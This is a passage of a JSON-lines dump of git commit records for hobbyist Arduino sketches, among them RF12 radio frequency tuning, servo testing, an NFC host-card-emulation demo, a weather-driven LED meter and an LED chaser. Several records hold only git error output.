test\n","repos":"fperrad\/ArduinoTap,fperrad\/ArduinoTap","old_file":"libraries\/ArduinoTap\/examples\/no_plan\/no_plan.ino","new_file":"libraries\/ArduinoTap\/examples\/no_plan\/no_plan.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fperrad\/ArduinoTap.git\/'\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"4d2e1b0262138cd3b1549cc2e407908ec3def7a5","subject":"Works on T84","message":"Works on T84\n\nBut having trouble with software serial - no serial output at present.\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/RF12\/RF12tune_T84\/RF12tune_T84.ino","new_file":"examples\/RF12\/RF12tune_T84\/RF12tune_T84.ino","new_contents":"\/\/\/ @dir RF12tune\n\/\/\/ Import RF12Demo eeprom string and save to eeprom \n\/\/\/ typically used with a Jeenode Micro to store a configuration\n\/\/\/ this sketch then enters a frequency scanning mode to find the\n\/\/\/ centre of frequency offset from its partner ack'ing Jeenode.\n\/\/\/ 2013-09-13 <john<AT>o-hare<DOT>net> http:\/\/opensource.org\/licenses\/mit-license.php\n\n#include <SoftwareSerial.h>\n#define txPin 9 \/\/PA1 AIO1 - > Connect to RX on USB BUB\n#define rxPin 10 \/\/PA0 DIO1 - > Connect to TX on USB BUB\n\/\/ 19k200\n#include <JeeLib.h>\n#include <util\/crc16.h>\n#include <avr\/eeprom.h>\n#define ACK_TIME 20 \/\/ number of milliseconds to wait for an ack\n#define RETRY_LIMIT 9 \/\/ maximum number of times to retry\n#define RADIO_SYNC_MODE 2\n\nchar importedConfig[] = \n\/\/\/\n\/\/\/ Highlight the string below and paste in the value obtained from the RF12Demo \"0j\" command.\n \"89D1066D49206939206732303920403836382E32323530204D487A0000006893\"; \/\/ 0 I i9 g209 @868.2250 MHz\n\/\/ \"B4D4C66D54206932302A206732313220403836382E32323530204D487A00690C\"; \/\/ C T i20* g212 @868.2250 MHz\n\/\/ \"B4D4C64054206932302A206732313220403836382E30303030204D487A00A4F4\"; \/\/ C T i20* g212 @868.0000 MHz\n\/\/ \"94D4C6405420693230206732313220403836382E30303030204D487A0000FCE4\"; \/\/ C T i20 g212 @868.0000 MHz\n\/\/\/\/0....5....10...5....20...5....30...5....40...5....50...5....60..\n\/\/\/\n\n\/\/\/ @details\n\/\/\/ eeprom layout details\n\/\/\/ byte 0x00 Key storage for encryption algorithm\n\/\/\/ 0x1F \"\n\/\/\/ ------------------------------------------------------------------------\n\/\/\/ byte 0x20 Node number in bits ***n nnnn \/\/ 1 - 31\n\/\/\/ Collect mode flag **0* **** COLLECT 0x20 \/\/ Pass incoming without sending acks\n\/\/\/ Band 00** **** Do not use \/\/ Will hang the hardware\n\/\/\/ \" 01** **** 433MHZ 0x40\n\/\/\/ \" 10** **** 868MHZ 0x80\n\/\/\/ \" 11** **** 915MHZ 0xC0\n\/\/\/ ------------------------------------------------------------------------\n\/\/\/ byte 0x21 Group number 11010100 \/\/ i.e. 212 0xD4\n\/\/\/ byte 0x22 Flag Spares 11** **** \/\/ Perhaps we could store the output in hex flag here\n\/\/\/ V10 indicator **1* **** \/\/ This bit is set by versions of RF12Demo less than 11\n\/\/\/ Quiet mode ***1 **** \/\/ don't report bad packets\n\/\/\/ Frequency offset most significant bite **** nnnn \/\/ Can't treat as a 12 bit integer\n\/\/\/ byte 0x23 Frequency offset less significant bits nnnn nnnn \/\/ because of little endian constraint\n\/\/\/ byte 0x24 Text description generate by RF12Demo \"T i20 g0 @868.0000 MHz\"\n\/\/\/ 0x3D \" Padded at the end with NUL\n\/\/\/ byte 0x3E CRC CRC of values with offset 0x20\n\/\/\/ byte 0x3F \" through to end of Text string, except NUL's\n\/\/\/ byte 0x40 32 bytes backup space for configuration, \"42j\" command\n\/\/\/ 0x59 \"\n\/\/\/ ------------------------------------------------------------------------\n\/\/\/ Useful url: http:\/\/blog.strobotics.com.au\/2009\/07\/27\/rfm12-tutorial-part-3a\/\n\/\/\n\/\/ RF12 configuration setup code\ntypedef struct {\n byte nodeId;\n byte group;\n int ee_frequency_hi : 4; \/\/ Can't use as a 12 bit integer because of how they are stored in a structure.\n boolean flags : 4;\n int ee_frequency_lo : 8; \/\/\n char msg[RF12_EEPROM_SIZE-6];\n word crc;\n} RF12Config;\n\/\/\nstatic RF12Config config;\nunsigned int frequency;\n\n\n#if defined(__AVR_ATtiny84__) || defined(__AVR_ATtiny44__)\n#define SERIAL_BAUD 38400\n#else\n#define SERIAL_BAUD 57600\n#endif\nbyte h, w;\n\nSoftwareSerial mySerial = SoftwareSerial(rxPin, txPin);\n \nvoid setup() {\n\/* pinMode(rxPin, INPUT);\n pinMode(txPin, OUTPUT);\n delay(5000); \/\/ Startup delay to debounce disconnection\n bitSet(DDRB, 0); \/\/ Power up\n bitClear(PORTB, 0); \/\/ RFM12B\n mySerial.begin(19200);\n \/\/ mySerial.println(\"\\n[RF12tune.0]\");\n*\/ \n for (byte i = 0; i < (RF12_EEPROM_SIZE * 2); i+=2 ) {\n w = ChkHex(importedConfig[i]);\n if (w) h = (w << 4); \/\/ Move into high nibble\n w = ChkHex(importedConfig[(i+1)]);\n if (w) h = h + (w & 0x0F); \/\/ Add in low nibble\n\/\/ showNibble(h >> 4);\n\/\/ showNibble(h);\n eeprom_write_byte((RF12_EEPROM_ADDR) + (i \/ 2), h);\n ((byte*) &config)[(i\/2)] = h;\n }\n\/\/ \/\/ mySerial.println(); \n\n frequency = (config.ee_frequency_hi << 8) + config.ee_frequency_lo; \/\/ Loose flag nibble to get frequency high order \n}\n\nvoid loop() {\n unsigned int scan, upLow, upHigh, downLow, downHigh;\n frequency = eeprom_read_byte(RF12_EEPROM_ADDR + 2);\n frequency = ((frequency & 0x0F) << 8) + (eeprom_read_byte(RF12_EEPROM_ADDR + 3)); \/\/ Loose flag nibble to get frequency high order\n if (rf12_config()) {\n\/\/ \/\/ mySerial.print(\"Config Initialized \");\n\/\/ \/\/ mySerial.println(frequency);\n delay(50); \n }\n upLow = 0xFFFF;\n upHigh = 0;\n for (scan = (frequency - 50); scan < (frequency + 50); ++scan)\n {\n rf12_control(0xA000 + scan); \n byte good = probe();\n if (good){\n if (scan > upHigh) upHigh = scan;\n if (scan < upLow) upLow = scan;\n\/\/ \/\/ mySerial.print(\"\\n\");\n\/\/ \/\/ mySerial.print(good);\n delay(50); \n }\n else {\n \/\/ mySerial.print(\"No Ack \");\n \/\/ mySerial.print(scan);\n \/\/ mySerial.print(\"\\r\");\n delay(50); \n }\n }\n if ((upHigh == 0) || (upLow == 0xFFFF)) return; \/\/ If nobody answers then restart loop\n\/\/ mySerial.print(\"Scan up complete \"); \n\/\/ mySerial.print(upLow);\n\/\/ mySerial.print(\"-\");\n\/\/ mySerial.println(upHigh);\ndelay(100);\n downLow = 0xFFFF; \n downHigh = 0;\n for (scan = (frequency + 50); scan > (frequency - 50); --scan)\n {\n rf12_control(0xA000 + scan); \n byte good = probe();\n if (good){\n if (scan > downHigh) downHigh = scan;\n if (scan < downLow) downLow = scan;\n\/\/ \/\/ mySerial.print(\"\\n\");\n\/\/ \/\/ mySerial.print(good);\n delay(50); \n }\n else {\n \/\/ mySerial.print(\"No Ack \");\n \/\/ mySerial.print(scan);\n \/\/ mySerial.print(\"\\r\");\n delay(50); \n }\n }\n if ((downHigh == 0) || (downLow == 0xFFFF)) return; \/\/ If nobody answers then restart loop\n\/\/ mySerial.print(\"Scan down complete \"); \n\/\/ mySerial.print(downLow);\n\/\/ mySerial.print(\"-\");\n\/\/ mySerial.println(downHigh);\n\n \n frequency = ( ((upLow + downLow) \/ 2) + ((((upHigh + downHigh) \/ 2) - ((upLow + downLow)\/ 2)) \/ 2) );\n \/\/ mySerial.print(\"Centre frequency offset is \");\n \/\/ mySerial.println(frequency);\n delay(50);\n config.ee_frequency_hi = frequency >> 8;\n config.ee_frequency_lo = frequency & 0x00FF;\n\n config.crc = ~0;\n for (byte i = 0; i < sizeof config - 2; ++i)\n config.crc = _crc16_update(config.crc, ((byte*) &config)[i]);\n\n \/\/ save to EEPROM\n for (byte i = 0; i < sizeof config; ++i) {\n byte b = ((byte*) &config)[i];\n eeprom_write_byte(RF12_EEPROM_ADDR + i, b);\n }\n if (!rf12_config()) {\n \/\/ mySerial.println(\"config save failed\");\n }\n else {\n delay(50);\n byte good = probe(); \/\/ Transmit new settings\n }\n while(1) \/\/ Nothing more\n { \n delay(32767);\n }\n}\n\nstatic byte probe() \n {\n for (byte i = 1; i < (RETRY_LIMIT+1); ++i) \n {\n while (!rf12_canSend())\n rf12_recvDone();\n rf12_sendStart(RF12_HDR_ACK, &config, sizeof config, RADIO_SYNC_MODE);\n byte acked = waitForAck();\n if (acked) {\n return i; \/\/ Return number of attempts to successfully transmit\n }\n }\n return 0;\n }\n\n\/\/ wait a few milliseconds for proper ACK to me, return true if indeed received\nstatic byte waitForAck() {\n MilliTimer ackTimer;\n while (!ackTimer.poll(ACK_TIME)) {\n if (rf12_recvDone() && rf12_crc == 0 &&\n \/\/ see http:\/\/talk.jeelabs.net\/topic\/811#post-4712\n rf12_hdr == (RF12_HDR_DST | RF12_HDR_CTL | (config.nodeId & 0x1F)))\n return 1;\n }\n return 0;\n}\nstatic char ChkHex(char c) {\n if ((c > 64) && (c < 71)) return (c + 9); \/\/ \"A\" to \"F\"\n if ((c > 47) && (c < 58)) return c; \/\/ \"0\" to \"9\"\n \/\/ mySerial.print(\"\\nError in importedConfig string '\");\n \/\/ mySerial.print(c);\n \/\/ mySerial.println(\"'\");\n return 0;\n}\n\/\/\/ showNibble code below pinched from RF12Demo 2013-09-22\nstatic void showNibble (byte nibble) {\n char c = '0' + (nibble & 0x0F);\n if (c > '9')\n c += 7;\n \/\/ mySerial.print(c);\n}\n\/\/\/ \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RF12\/RF12tune_T84\/RF12tune_T84.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"ecb207c76f4d5e4ca8242a04e8d81dbb1d24278a","subject":"Adding basic servo control example for Orchestra tutorial instrument hardware","message":"Adding basic servo control example for Orchestra tutorial instrument hardware\n","repos":"bestwpw\/ChromeWebLab,Victorgichohi\/ChromeWebLab,modulexcite\/ChromeWebLab,Victorgichohi\/ChromeWebLab,modulexcite\/ChromeWebLab,mattjjohnson007\/ChromeWebLab,r8o8s1e0\/ChromeWebLab,googlearchive\/ChromeWebLab,r8o8s1e0\/ChromeWebLab,Victorgichohi\/ChromeWebLab,bestwpw\/ChromeWebLab,googlearchive\/ChromeWebLab,googlearchive\/ChromeWebLab,BrandTurner\/ChromeWebLab,BrandTurner\/ChromeWebLab,bestwpw\/ChromeWebLab,mattjjohnson007\/ChromeWebLab,mattjjohnson007\/ChromeWebLab,modulexcite\/ChromeWebLab,modulexcite\/ChromeWebLab,BrandTurner\/ChromeWebLab,googlearchive\/ChromeWebLab,r8o8s1e0\/ChromeWebLab,r8o8s1e0\/ChromeWebLab,r8o8s1e0\/ChromeWebLab,mattjjohnson007\/ChromeWebLab,Victorgichohi\/ChromeWebLab,modulexcite\/ChromeWebLab,mattjjohnson007\/ChromeWebLab,bestwpw\/ChromeWebLab,Victorgichohi\/ChromeWebLab,bestwpw\/ChromeWebLab,BrandTurner\/ChromeWebLab,BrandTurner\/ChromeWebLab","old_file":"Orchestra\/hw\/servoControl\/servoControl.ino","new_file":"Orchestra\/hw\/servoControl\/servoControl.ino","new_contents":"\/\/this just shows how to connect the servos and sweep their positions\n\/\/used for checking to make sure they are all working\n\n#include <Servo.h> \n \nServo s1, s2, s3, s4, s5, s6; \/\/ create servo objects to control a servo \n \nint pos = 0; \/\/ variable to store the servo position \n \nvoid setup() { \n s1.attach(3);\n s2.attach(5);\n s3.attach(6);\n s4.attach(9);\n s5.attach(10);\n s6.attach(11);\n} \n \nvoid loop() { \n \n for(pos = 0; pos < 180; pos += 1) { \n s1.write(pos);\n s2.write(pos);\n s3.write(pos);\n s4.write(pos);\n s5.write(pos);\n s6.write(pos);\n delay(15);\n } \n \n for(pos = 180; pos>=1; pos-=1) { \n s1.write(pos);\n s2.write(pos);\n s3.write(pos);\n s4.write(pos);\n s5.write(pos);\n s6.write(pos); \n delay(15);\n } \n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Orchestra\/hw\/servoControl\/servoControl.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8736f95476c8bb447923aac409c66dbcbb09a5b1","subject":"Added a working example for Android Host Card Emulation","message":"Added a working example for Android Host Card Emulation\n","repos":"jlkalberer\/PN532,jlkalberer\/PN532","old_file":"PN532\/examples\/android_hce\/android_hce.ino","new_file":"PN532\/examples\/android_hce\/android_hce.ino","new_contents":"#include <SPI.h>\n#include <PN532_SPI.h>\n#include <PN532Interface.h>\n#include <PN532.h>\n\nPN532_SPI pn532spi(SPI, 10);\nPN532 nfc(pn532spi);\n\n\nvoid setup()\n{ \n Serial.begin(115200);\n Serial.println(\"-------Peer to Peer HCE--------\");\n \n nfc.begin();\n \n uint32_t versiondata = nfc.getFirmwareVersion();\n if (! versiondata) {\n Serial.print(\"Didn't find PN53x board\");\n while (1); \/\/ halt\n }\n \n \/\/ Got ok data, print it out!\n Serial.print(\"Found chip PN5\"); Serial.println((versiondata>>24) & 0xFF, HEX); \n Serial.print(\"Firmware ver. \"); Serial.print((versiondata>>16) & 0xFF, DEC); \n Serial.print('.'); Serial.println((versiondata>>8) & 0xFF, DEC);\n \n \/\/ Set the max number of retry attempts to read from a card\n \/\/ This prevents us from waiting forever for a card, which is\n \/\/ the default behaviour of the PN532.\n \/\/nfc.setPassiveActivationRetries(0xFF);\n \n \/\/ configure board to read RFID tags\n nfc.SAMConfig();\n}\n\nvoid loop()\n{\n bool success;\n \n uint8_t responseLength = 32;\n \n Serial.println(\"Waiting for an ISO14443A card\");\n \n \/\/ set shield to inListPassiveTarget\n success = nfc.inListPassiveTarget();\n\n if(success) {\n \n Serial.println(\"Found something!\");\n \n uint8_t selectApdu[] = { 0x00, \/* CLA *\/\n 0xA4, \/* INS *\/\n 0x04, \/* P1 *\/\n 0x00, \/* P2 *\/\n 0x07, \/* Length of AID *\/\n 0xF0, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, \/* AID defined on Android App *\/\n 0x00 \/* Le *\/ };\n \n uint8_t response[32]; \n \n success = nfc.inDataExchange(selectApdu, sizeof(selectApdu), response, &responseLength);\n \n if(success) {\n \n Serial.print(\"responseLength: \"); Serial.println(responseLength);\n \n nfc.PrintHexChar(response, responseLength);\n \n do {\n uint8_t apdu[] = \"Hello from Arduino\";\n uint8_t back[32];\n uint8_t length = 32; \n\n success = nfc.inDataExchange(apdu, sizeof(apdu), back, &length);\n \n if(success) {\n \n Serial.print(\"responseLength: \"); Serial.println(length);\n \n nfc.PrintHexChar(back, length);\n }\n else {\n \n Serial.println(\"Broken connection?\"); \n }\n }\n while(success);\n }\n else {\n \n Serial.println(\"Failed sending SELECT AID\"); \n }\n }\n else {\n \n Serial.println(\"Didn't find anything!\");\n }\n\n delay(1000);\n}\n\nvoid printResponse(uint8_t *response, uint8_t responseLength) {\n \n String respBuffer;\n\n for (int i = 0; i < responseLength; i++) {\n \n if (response[i] < 0x10) \n respBuffer = respBuffer + \"0\"; \/\/Adds leading zeros if hex value is smaller than 0x10\n \n respBuffer = respBuffer + String(response[i], HEX) + \" \"; \n }\n\n Serial.print(\"response: \"); Serial.println(respBuffer);\n}\n\nvoid setupNFC() {\n \n nfc.begin();\n \n uint32_t versiondata = nfc.getFirmwareVersion();\n if (! versiondata) {\n Serial.print(\"Didn't find PN53x board\");\n while (1); \/\/ halt\n }\n \n \/\/ Got ok data, print it out!\n Serial.print(\"Found chip PN5\"); Serial.println((versiondata>>24) & 0xFF, HEX); \n Serial.print(\"Firmware ver. \"); Serial.print((versiondata>>16) & 0xFF, DEC); \n Serial.print('.'); Serial.println((versiondata>>8) & 0xFF, DEC);\n \n \/\/ configure board to read RFID tags\n nfc.SAMConfig(); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PN532\/examples\/android_hce\/android_hce.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"7b7ad7ecd686f9340140407bd4fc5cecbfda3880","subject":"added placeholder values for esc ratings","message":"added placeholder values for esc ratings\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"62bdb0cf7e549ceb7d7de2e0d91bef205610f19b","subject":"First weather app draft","message":"First weather app draft\n","repos":"borq79\/Cary-Area-Public-Library-Classes","old_file":"weather\/weather_meter\/weather_meter.ino","new_file":"weather\/weather_meter\/weather_meter.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <SPI.h>\n#include <Dhcp.h>\n#include <Dns.h>\n#include <Ethernet.h>\n#include <EthernetClient.h>\n#include <Temboo.h>\n\n\/\/ NeoPixel Strip Information\n#define PRIMARY_PIN 5\n#define NUM_PIXEL 8\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_PIXEL, PRIMARY_PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ Temboo Account Infomration\n#define TEMBOO_ACCOUNT \"\" \/\/ Your Temboo account name \n#define TEMBOO_APP_KEY_NAME \"\" \/\/ Your Temboo app key name\n#define TEMBOO_APP_KEY \"\" \/\/ Your Temboo app key\n\n\/\/ Ethernet Shield Information\n#define ETHERNET_SHIELD_MAC {0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x00}\nbyte ethernetMACAddress[] = ETHERNET_SHIELD_MAC;\nEthernetClient client;\n\n\/\/ A way to pass around information about the conditions and what the LEDs should reflect\nstruct CONDITION_INFO {\n byte r;\n byte g;\n byte b;\n bool isEmergency;\n};\n\n\/\/ Weather Conditions to Color Mapping \n#define SEVERE_WEATHER (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define STORMY (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define WINTER_MIX (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define SUNNY (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define CLOUDY (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define RAIN (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define WINDY (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define HAIL (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define LOW_VISIBILITY (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define FAIR_DAY (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define FAIR_NIGHT (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define HOT (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n#define COLD (CONDITION_INFO){0xFF, 0x00, 0x00, true}\n\n\/\/ ***********************************************************\n\/\/ * Function Prototypes\n\/\/ ***********************************************************\nvoid displayCondition(CONDITION_INFO &condition);\nCONDITION_INFO getColorFromCondition(int condition);\n\n\n\/\/ ***********************************************************\n\/\/ * Setup\n\/\/ ***********************************************************\nvoid setup() {\n Serial.begin(9600);\n\n strip.begin();\n strip.show();\n\n \/\/ For debugging, wait until the serial console is connected\n delay(4000);\n while (!Serial);\n\n Serial.print(\"DHCP:\");\n if (Ethernet.begin(ethernetMACAddress) == 0) {\n Serial.println(\"FAIL\");\n while (true);\n }\n Serial.println(\"OK\");\n delay(5000);\n\n \/\/print out the IP address\n Serial.print(\"IP = \");\n Serial.println(Ethernet.localIP());\n\n Serial.println(\"Setup complete.\\n\");\n}\n\n\/\/ ***********************************************************\n\/\/ * Main Application Loop\n\/\/ ***********************************************************\nvoid loop() {\n Serial.println(\"Running GetWeatherByAddress\");\n\n TembooChoreo GetWeatherByAddressChoreo(client);\n\n \/\/ Invoke the Temboo client\n GetWeatherByAddressChoreo.begin();\n\n \/\/ Set Temboo account credentials\n GetWeatherByAddressChoreo.setAccountName(TEMBOO_ACCOUNT);\n GetWeatherByAddressChoreo.setAppKeyName(TEMBOO_APP_KEY_NAME);\n GetWeatherByAddressChoreo.setAppKey(TEMBOO_APP_KEY);\n\n \/\/ Set Choreo inputs\n String AddressValue = \"60013\";\n GetWeatherByAddressChoreo.addInput(\"Address\", AddressValue);\n\n \/\/ Identify the Choreo to run\n GetWeatherByAddressChoreo.setChoreo(\"\/Library\/Yahoo\/Weather\/GetWeatherByAddress\");\n\n \/\/ Run the Choreo\n unsigned int returnCode = GetWeatherByAddressChoreo.run();\n Serial.print(\"Return Code: \"); Serial.println(returnCode);\n\n \/\/ A return code of zero means everything worked\n if (returnCode == 0) {\n while (GetWeatherByAddressChoreo.available()) {\n String name = GetWeatherByAddressChoreo.readStringUntil('\\x1F');\n name.trim();\n\n String data = GetWeatherByAddressChoreo.readStringUntil('\\x1E');\n data.trim();\n\n if (name == \"ConditionCode\") {\n Serial.println(\"Condition Code: \" + String(data.toInt()));\n\n CONDITION_INFO conditionInfo = getColorFromCondition(data.toInt());\n displayCondition(conditionInfo);\n } else if (name == \"ConditionText\") {\n Serial.println(\"Condition Text: \" + data);\n }\n }\n }\n\n GetWeatherByAddressChoreo.close();\n\n Serial.println(\"\\nWaiting...\\n\");\n delay(1800000); \/\/ wait 30 minutes between GetWeatherByAddress calls\n}\n\nvoid displayCondition(CONDITION_INFO &condition) {\n Serial.println(\"Setting R, G, B to: \" + String(condition.r) + \", \" + String(condition.g) + \", \" + String(condition.b));\n for (int i = 0; i < NUM_PIXEL; i++) {\n strip.setPixelColor(i, condition.r, condition.b, condition.g);\n }\n\n strip.show();\n}\n\nCONDITION_INFO getColorFromCondition(int condition) {\n CONDITION_INFO conditionInfo;\n\n switch (condition) {\n\n \/\/ tornado\n case 0:\n conditionInfo = SEVERE_WEATHER;\n break;\n\n \/\/ tropical storm\n case 1:\n conditionInfo = SEVERE_WEATHER;\n break;\n\n \/\/ hurricane\n case 2:\n conditionInfo = SEVERE_WEATHER;\n break;\n\n \/\/ severe thunderstorms\n case 3:\n conditionInfo = SEVERE_WEATHER;\n break;\n\n \/\/ thunderstorms\n case 4:\n conditionInfo = STORMY;\n break;\n\n \/\/ mixed rain and snow\n case 5:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ mixed rain and sleet\n case 6:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ mixed snow and sleet\n case 7:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ freezing drizzle\n case 8:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ drizzle\n case 9:\n conditionInfo = RAIN;\n break;\n\n \/\/ freezing rain\n case 10:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ showers\n case 11:\n conditionInfo = RAIN;\n break;\n\n \/\/ showers\n case 12:\n conditionInfo = RAIN;\n break;\n\n \/\/ snow flurries\n case 13:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ light snow showers\n case 14:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ blowing snow\n case 15:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ snow\n case 16:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ hail\n case 17:\n conditionInfo = HAIL;\n break;\n\n \/\/ sleet\n case 18:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ dust\n case 19:\n conditionInfo = LOW_VISIBILITY;\n break;\n\n \/\/ foggy\n case 20:\n conditionInfo = LOW_VISIBILITY;\n break;\n\n \/\/ haze\n case 21:\n conditionInfo = LOW_VISIBILITY;\n break;\n\n \/\/ smoky\n case 22:\n conditionInfo = LOW_VISIBILITY;\n break;\n\n \/\/ blustery\n case 23:\n conditionInfo = WINDY;\n break;\n\n \/\/ windy\n case 24:\n conditionInfo = WINDY;\n break;\n\n \/\/ cold\n case 25:\n conditionInfo = COLD;\n break;\n\n \/\/ cloudy\n case 26:\n conditionInfo = CLOUDY;\n break;\n\n \/\/ mostly cloudy (night)\n case 27:\n conditionInfo = CLOUDY;\n break;\n\n \/\/ mostly cloudy (day)\n case 28:\n conditionInfo = CLOUDY;\n break;\n\n \/\/ partly cloudy (night)\n case 29:\n conditionInfo = CLOUDY;\n break;\n\n \/\/ partly cloudy (day)\n case 30:\n conditionInfo = CLOUDY;\n break;\n\n \/\/ clear (night)\n case 31:\n conditionInfo = CLOUDY;\n break;\n\n \/\/ sunny\n case 32:\n conditionInfo = SUNNY;\n break;\n\n \/\/ fair (night)\n case 33:\n conditionInfo = FAIR_NIGHT;\n break;\n\n \/\/ fair (day)\n case 34:\n conditionInfo = FAIR_DAY;\n break;\n\n \/\/ mixed rain and hail\n case 35:\n conditionInfo = HAIL;\n break;\n\n \/\/ hot\n case 36:\n conditionInfo = HOT;\n break;\n\n \/\/ isolated thunderstorms\n case 37:\n conditionInfo = STORMY;\n break;\n\n \/\/ scattered thunderstorms\n case 38:\n conditionInfo = STORMY;\n break;\n\n \/\/ scattered thunderstorms\n case 39:\n conditionInfo = STORMY;\n break;\n\n \/\/ scattered showers\n case 40:\n conditionInfo = RAIN;\n break;\n\n \/\/ heavy snow\n case 41:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ scattered snow showers\n case 42:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ heavy snow\n case 43:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ partly cloudy\n case 44:\n conditionInfo = CLOUDY;\n break;\n\n \/\/ thundershowers\n case 45:\n conditionInfo = STORMY;\n break;\n\n \/\/ snow showers\n case 46:\n conditionInfo = WINTER_MIX;\n break;\n\n \/\/ isolated thundershowers\n case 47:\n conditionInfo = STORMY;\n break;\n\n \/\/ not available\n case 3200:\n conditionInfo = (CONDITION_INFO) {\n 0xFF, 0xFF, 0xFF, false\n };\n break;\n }\n\n return conditionInfo;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'weather\/weather_meter\/weather_meter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"adca6b6be1d594215e38009ef7aa58486177ad6a","subject":"update","message":"update\n\n-funcybox directory for hobby electronics, and code samples\n-sketch_kara-simsek added as a hello arduino world project\n","repos":"coshkun\/Arduino,coshkun\/Arduino,coshkun\/Arduino","old_file":"fancybox\/sketch_kara-simsek\/sketch_kara-simsek.ino","new_file":"fancybox\/sketch_kara-simsek\/sketch_kara-simsek.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n for(int i = 0; i<13; i++)\n {\n pinMode(i,OUTPUT);\n }\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n for(int i=0; i<13; i++)\n {\n digitalWrite(i, HIGH);\n delay(1000);\n digitalWrite(i, LOW);\n delay(500);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'fancybox\/sketch_kara-simsek\/sketch_kara-simsek.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b0d319173bd6f68f5670bcd4f4630ea4f6d71b3c","subject":"Make fixed frequency and pulse width","message":"Make fixed frequency and pulse width","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/TENS\/TENSWithSpikeRecorder.ino","new_file":"Muscle\/Arduino Code\/TENS\/TENSWithSpikeRecorder.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/TENS\/TENSWithSpikeRecorder.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9ffc28c686ed253fd251a1b6854cbcf4fdd4614d","subject":"Add example of outputting an analog read value","message":"Add example of outputting an analog read value\n","repos":"arachnidlabs\/easyctrl","old_file":"examples\/AnalogReadEasyctrl\/AnalogReadEasyctrl.ino","new_file":"examples\/AnalogReadEasyctrl\/AnalogReadEasyctrl.ino","new_contents":"\/*\n AnalogReadEasyctrl\n Reads an analog input on pin 0.\n Attach the center pin of a potentiometer to pin A0, and the outside pins to +5V and ground.\n \n This example code is based on the Arduino example AnalogReadSerial\n *\/\n\n#include \"easyctrl.h\"\n\nMonitored<int> sensorValue(\"sensorValue\");\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 115200 bits per second:\n Serial.begin(115200);\n Easyctrl.begin(\"AnalogReadEasyctrl\", Serial);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n \/\/ read the input on analog pin 0:\n sensorValue = analogRead(A0);\n\n \/\/ Let easyctrl run\n Easyctrl.update();\n\n delay(1); \/\/ delay in between reads for stability\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AnalogReadEasyctrl\/AnalogReadEasyctrl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"af42a4926359833c4b3e2076f65c3601b32e523a","subject":"Add example code for Kelvinator A\/C control.","message":"Add example code for Kelvinator A\/C 